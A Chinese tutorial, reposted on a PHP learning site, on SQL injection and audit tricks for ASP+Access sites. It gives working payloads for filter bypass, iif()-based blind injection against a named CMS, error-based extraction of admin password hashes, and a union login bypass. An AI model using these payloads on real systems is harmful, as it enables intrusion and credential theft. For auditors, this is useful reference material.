来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 随着web安全的热点升级,web应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。相对而言,研究asp应用程序的代码安...
随着web安全的热点升级,web应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。相对而言,研究asp应用程序的代码安全的人少了很多,毕竟asp不够php那样灵活多变,漏洞类型无非那么几种,本文将分享一些个人收集总结基于ASP+ACCESS环境的SQL注射及审计小技巧,当然肯定还有很多技巧,欢迎补充,抛砖引玉嘛~。
0x01 当盲注遭遇过滤“<”、“>”、“=”时 曾读过一些asp系统的代码,有些程序员对于防御SQL注入采用的方法是仅仅过滤“<”、“>”、“=”以及单引号等字符来达到无法猜解数据的目的,殊不知这样的过滤有多种绕过方法,首先想到的是利用“between and”,当然这里不讨论“between and”,给出另外一种小技巧,如以下的SQL语句: select * from table where id=SQL其中的SQL是我们可以构造的部分,同时这个页面对于获取的参数过滤“<”、“>”、“=”并且无法利用union来注射,在不利用“between and”的情况下,我们这样构造: select * from table where id=1 and (select asc(mid(username,1,1)) from admin where asc(mid(username,1,1)) in(97))利用in()来达到判断的目的,语句为判断管理员用户名的第一个字符是否为a,其中的97为字符a的ascii编码。 0x02 iif()函数在access注射中的应用 对于一些特殊的注入,ACCESS下的iif()函数还是比较有用的,比如用经典“and 1=1”和“and 1=2”判断注入时,页面返回无差异时,access数据库下无法像mysql那样利用时间差来注射,利用iif() 可以让返回的“无差异页面”差异化……,这里我以南方数据企业网站管理系统 v16的一个注射点为例,先看到代码: set rs = server.createobject("adodb.recordset") sql="select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc" rs.open sql,conn,1,1 if conn.execute("select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0").eof then response.write "暂无相关信息" else do while not rs.eof细心的朋友一眼就能发现注射点,request("Range")带入了两句SQL,注射点比较特殊,可以提交表名,但是因为带入了两句SQL语句,所以利用起来比较麻烦,因为access数据库没有注释符,所以必须用union联合查询来闭合,但是因为带入了两句SQL语句,联合查询在执行: select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0会出现字段数不符报错,因为“select ID from Southidc_”查询的是一个字段,而上一句SQL“select * from Southidc_”查询的是多个字段,因此,无论我们如何构造SQL语句,都没办法使字段数相等,这里我们利用access的iif()函数来强制报错,当查询为真时,会出现字段数不符报错,查询为假时利用iif()函数强制报错爆出另外一个错误,就可以进行盲注判断了。比如提交Range为: NewsSort where 2=iif((1=1),2,'a') union select * from Southidc_News把其中的1=1换成SQL注入语句就可以了,比如提交Range为: NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=97),2,'a') union select * from Southidc_News 这个时候报错,如图1: 判断管理员用户名第一个字符是否为a,如果查询为真,就会报错如上图,如果为假,比如我们提交:NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=98),2,'a') union select * from Southidc_News 就会报出另外一个我们利用iif函数强制报错爆出的错误,如图2。 2='a'强制类型转换当然会报错了……“标准表达式中数据类型不匹配”。0x03 ACCESS也玩“爆库” 说到ACCESS“爆库”,很多朋友可能会想到access的%5c爆物理路径这个经典的漏洞,但这里不是指这个,而是类似mssql、mysql那样的,通过报错爆出数据库数据,虽然有点小鸡肋。看到某商城系统的一段代码: <% Server.ScriptTimeout=20 Response.Charset="gb2312" scid=Request("scid") if scid<>"" Then set Frs=lodo_Execute("Select Lodo_ShopingCar.Gid as Gid,Lodo_ShopingCar.GQuantity as GQuantity,Lodo_OrderForm.OrderState as OrderState,Lodo_OrderForm.OrderPayState as OrderPayState,Lodo_OrderForm.Ordernumber as Ordernumber from Lodo_ShopingCar,Lodo_OrderForm where Lodo_OrderForm.Ordernumber=Lodo_ShopingCar.OrderNum And Lodo_ShopingCar.ID="&scid) If Not(Frs.Eof Or Frs.Bof) Then '判断是否支付 if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then Response.Write "
if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then把数据库中的数据Frs("OrderState")拿去和4做比较!这样导致的问题是,如果我们通过union查询注入,通过Frs("OrderState")返回的结果,当执行到Frs("OrderState")=4时,程序会报错,同时微软很友好的把报错的数据也显示出来,比如上面的SQL,我们提交scid为: 1 union select 1,2,adminpass,4,5 from lodo_adminuser 通过控制Frs("OrderState")返回结果为管理员密码hash,当执行到Frs("OrderState")=4时,页面会报错,如图3。 这样的代码虽然见的不多,但还是有的,这也是其鸡肋之处。 0x04 “on error resume next”引发的血案对于早期的%5c爆access数据库物理路径漏洞,很多程序员的解决方案是在数据库连接文件conn.asp中加入一句容错代码来解决,当然这样做是修复了漏洞,但是可能引发另外的一些问题,看到代码: conn.asp: <% on error resume next connstr = "Provider=microsoft.jet.oledb.4.0;data source="&server.MapPath("inc/db.mdb") set conn = server.CreateObject("adodb.connection") conn.open connstr %>接着看到test.asp的代码: <% id = request("id") id = cint(id) set rs = server.CreateObject("adodb.recordset") sql = "select * from news where id="&id rs.open sql,conn,1,3 response.write rs("news") rs.close set rs = nothing %> <%set conn = nothing%>这段代码看似没有漏洞,其实是存在SQL注入的,原因是如果conn.asp没有添加“on error resume next”容错语句的话,我们提交的id如果不为int型,test.asp页面会报错并终止执行,但如果conn.asp有“on error resume next”容错语句,test.asp页面不会报错,而是跳过id = cint(id)报错语句继续执行!最终导致的结果是,过滤失效,SQL注入、逻辑漏洞等等问题。 0x05 新型万能登陆密码 “万能密码”相信搞入侵的朋友不会陌生,诸如此类“'or'='or'”、“' or ''='”,漏洞原理比较简单,比如下面的SQL: sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"其中的username变量和password变量可控,当我们提交username为“' or ''='”,密码任意时可以直接绕过验证登陆系统,为了应对此类漏洞,很多程序员采用下面的写法: <% dim LoginName,LoginPassword,AdminName,Password,AdminPurview,Working,UserName,rs,sql,mycode LoginName=trim(request.form("LoginName")) LoginPassword=Md5(request.form("LoginPassword")) mycode = trim(request.form("code")) set rs = server.createobject("adodb.recordset") sql="select * from admin where AdminName='"&LoginName&"'" rs.open sql,conn,1,3 if rs.eof then response.write "" response.end else AdminName=rs("AdminName") Password=rs("Password") AdminPurview=rs("AdminPurview") Working=rs("Working") UserName=rs("UserName") end if if LoginPassword<>Password then response.write "" response.end end if'登陆成功代码省略 以上代码虽然解决了“万能密码”登陆漏洞,但是没有从根本上解决SQL注入问题,虽然把用户提交的密码Password与数据库查询返回密码rs("Password")做了置后比较,但是如果我们可以通过SQL控制rs("Password")的返回结果,就可以通过“新型万能密码”登陆了,比如以上代码,我们提交LoginName为: ' union select 1,2,'268a5c2004f54de708ee2ce0dac3c411',4,5,6 from admin where '1'='1密码为:my5t3ry就可以直接登陆系统了,其中268a5c2004f54de708ee2ce0dac3c411为my5t3ry的MD5加密hash,union select 后的字段数要与admin表匹配,Password在表中的第3列,因此替换3为MD5,通过SQL注入控制rs("Password")的返回结果,实现了“新型万能密码”。 0x06 不使用空格的SQL语句 SQL注入的时候,可能遇到过滤空格的情况,比如正常的SQL语句select id from table,经过过滤之后,变为selectidfromtable,语句都挤到一块去了,最终导致注入失败。在access下,可以利用()[]等来避免使用空格,上面的语句可以这样写: select(id)from[table]where[id]=1这样就避免了空格,另外在mssql下还可以用%09、%0D0A等字符来替代空格,access也是可行的。 最后,关于ASP+ACCESS环境的SQL注射及审计小技巧就分享到这里,欢迎各位朋友拍砖,另外,本文参考了oldjun、gogorq、寂寞的刺猬等大牛的文章,在此谢过 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com